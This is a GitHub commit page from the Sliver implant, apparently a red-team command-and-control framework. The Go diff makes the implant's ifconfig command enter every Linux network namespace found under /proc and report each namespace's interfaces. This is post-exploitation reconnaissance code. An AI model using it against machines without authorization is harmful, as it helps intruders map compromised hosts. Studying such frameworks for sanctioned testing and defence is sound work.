Skip to content

Commit

Permalink
Merge pull request #1545 from precurse-bf/ifns
Browse files Browse the repository at this point in the history
Adding Linux namespace support to ifconfig
  • Loading branch information
rkervella authored Mar 14, 2024
2 parents 7465396 + 2c0d462 commit 85b949a
Show file tree
Hide file tree
Showing 3 changed files with 170 additions and 7 deletions.
4 changes: 2 additions & 2 deletions implant/go-mod
Original file line number Diff line number Diff line change
Expand Up @@ -18,9 +18,11 @@ require (
github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
github.com/yiya1989/sshkrb5 v0.0.0-20201110125252-a1455b75a35e
golang.org/x/crypto v0.13.0
golang.org/x/net v0.15.0
golang.org/x/sys v0.14.0
golang.zx2c4.com/wireguard v0.0.0-20231022001213-2e0774f246fb
google.golang.org/protobuf v1.31.0
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259
)

require (
Expand All @@ -37,7 +39,6 @@ require (
github.com/lxn/win v0.0.0-20210218163916-a377121e959e // indirect
github.com/pmezard/go-difflib v1.0.0 // indirect
golang.org/x/mod v0.13.0 // indirect
golang.org/x/net v0.15.0 // indirect
golang.org/x/text v0.14.0 // indirect
golang.org/x/time v0.3.0 // indirect
golang.org/x/tools v0.13.0 // indirect
Expand All @@ -48,5 +49,4 @@ require (
gopkg.in/jcmturner/gokrb5.v7 v7.5.0 // indirect
gopkg.in/jcmturner/rpc.v1 v1.1.0 // indirect
gopkg.in/yaml.v3 v3.0.1 // indirect
gvisor.dev/gvisor v0.0.0-20230927004350-cbd86285d259 // indirect
)
2 changes: 1 addition & 1 deletion implant/sliver/handlers/handlers_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -58,7 +58,7 @@ var (
sliverpb.MsgMvReq: mvHandler,
sliverpb.MsgCpReq: cpHandler,
sliverpb.MsgTaskReq: taskHandler,
sliverpb.MsgIfconfigReq: ifconfigHandler,
sliverpb.MsgIfconfigReq: ifconfigLinuxHandler,
sliverpb.MsgExecuteReq: executeHandler,
sliverpb.MsgEnvReq: getEnvHandler,
sliverpb.MsgSetEnvReq: setEnvHandler,
Expand Down
171 changes: 167 additions & 4 deletions implant/sliver/handlers/rpc-handlers_linux.go
Original file line number Diff line number Diff line change
Expand Up @@ -23,10 +23,21 @@ import (
"log"
// {{end}}

"fmt"
"io/ioutil"
"net"
"os"
"path/filepath"
"runtime"
"strconv"
"syscall"

"github.com/bishopfox/sliver/implant/sliver/ps"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"

"golang.org/x/sys/unix"
)

func psHandler(data []byte, resp RPCResponse) {
Expand All @@ -51,10 +62,10 @@ func psHandler(data []byte, resp RPCResponse) {

for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.UnixProcess).CmdLine()
Expand All @@ -63,3 +74,155 @@ func psHandler(data []byte, resp RPCResponse) {
data, err = proto.Marshal(psList)
resp(data, err)
}

func getFdFromPath(path string) (int, error) {
fd, err := unix.Open(path, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
return -1, err
}
return fd, nil
}

func getUniqueFd(fd int) string {
// Returns the unique namespace ID
var s unix.Stat_t

err := unix.Fstat(fd, &s)

if err != nil {
return "Unknown"
}

return fmt.Sprintf("NS(%d:%d)", s.Dev, s.Ino)
}

func ifconfigLinuxHandler(_ []byte, resp RPCResponse) {
interfaces := ifconfigLinux()
// {{if .Config.Debug}}
log.Printf("network interfaces: %#v", interfaces)
// {{end}}
data, err := proto.Marshal(interfaces)
resp(data, err)
}

func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
namespacesFound := make(map[uint64]string)

procDir := "/proc"
procContents, err := ioutil.ReadDir(procDir)

if err != nil {
//{{if .Config.Debug}}
log.Printf("error reading /proc: %v", err)
//{{end}}
return
}

for _, entry := range procContents {
if !entry.IsDir() {
continue
}
match, _ := filepath.Match("[1-9]*", entry.Name())
if match {
// Check if /proc/PID/net/ns exists
checkPath := filepath.Join(procDir, entry.Name(), "/ns/net")

if _, err := os.Stat(checkPath); !os.IsNotExist(err) {
// path for /proc/PID/ns/net exists
// inode used to track unique namespaces
var inode uint64

fileinfo, err := os.Stat(checkPath)

if err != nil {
//{{if .Config.Debug}}
log.Printf("error : %v", err)
//{{end}}
continue
}
inode = fileinfo.Sys().(*syscall.Stat_t).Ino
// Track unique namespaces
namespacesFound[inode] = checkPath
}

}
}

// Lock the OS Thread so we don't accidentally switch namespaces
runtime.LockOSThread()
defer runtime.UnlockOSThread()

// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)

// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
// Ignore origin namespace
if getUniqueFd(nsFd) == getUniqueFd(origns) {
continue
}

err = unix.Setns(nsFd, unix.CLONE_NEWNET)

if err != nil {
// Failed to enter namespace
continue
}

ifaces, _ := net.Interfaces()
// {{if .Config.Debug}}
log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
}

func ifconfigLinux() *sliverpb.Ifconfig {
netInterfaces, err := net.Interfaces()
if err != nil {
return nil
}

interfaces := &sliverpb.Ifconfig{
NetInterfaces: []*sliverpb.NetInterface{},
}

ifconfigParseInterfaces(netInterfaces, interfaces)
nsLinuxIfconfig(interfaces)

return interfaces
}

func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
}

for _, iface := range netInterfaces {
netIface := &sliverpb.NetInterface{
Index: int32(iface.Index),
Name: iface.Name + appendNsId,
}
if iface.HardwareAddr != nil {
netIface.MAC = iface.HardwareAddr.String()
}
addresses, err := iface.Addrs()
if err == nil {
for _, address := range addresses {
netIface.IPAddresses = append(netIface.IPAddresses, address.String())
}
}
interfaces.NetInterfaces = append(interfaces.NetInterfaces, netIface)
}
}

0 comments on commit 85b949a

Please sign in to comment.